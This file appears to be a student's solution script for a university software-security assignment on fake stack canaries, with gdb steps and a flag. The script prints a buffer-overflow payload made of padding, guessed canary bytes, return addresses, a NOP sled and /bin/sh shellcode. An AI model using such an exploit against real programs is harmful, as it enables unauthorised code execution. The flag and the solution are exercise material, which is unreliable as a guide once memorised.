Systemsicherheit/Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh

#!/bin/bash

# flag{CANARY_IS_ALSO_AN_ISLAND}

##### Exploit Creation Steps #####
# Step 1: Locate address of 'int stack_canaries [10]' using gdb
# Command: disas owerflow
# -> 0x56559020
##################################
# Step 2: Print all 10 possible stack canaries in gdb
# Command: x/10xw 0x56559020
##################################
# Step 3: Select only those canaries that do not contain a null byte
##################################
# Step 4: Combine Slide Rider with the selected stack canaries
##################################

############ Exploit ##############
# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate.
# Note: Only canaries without null bytes can be used due to the use of strcpy.
case $(( RANDOM % 3 )) in
    0)
        printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70"
        ;;
    1)
        printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b"
        ;;
    2)
        printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08"
        ;;
esac

# Step 2: Fill the buffer with a candidate return address
printf "\x10\xd6\xff\xff%.0s" {1..30}

# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode
printf "\x90%.0s" {1..2000}

# Step 4: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
###################################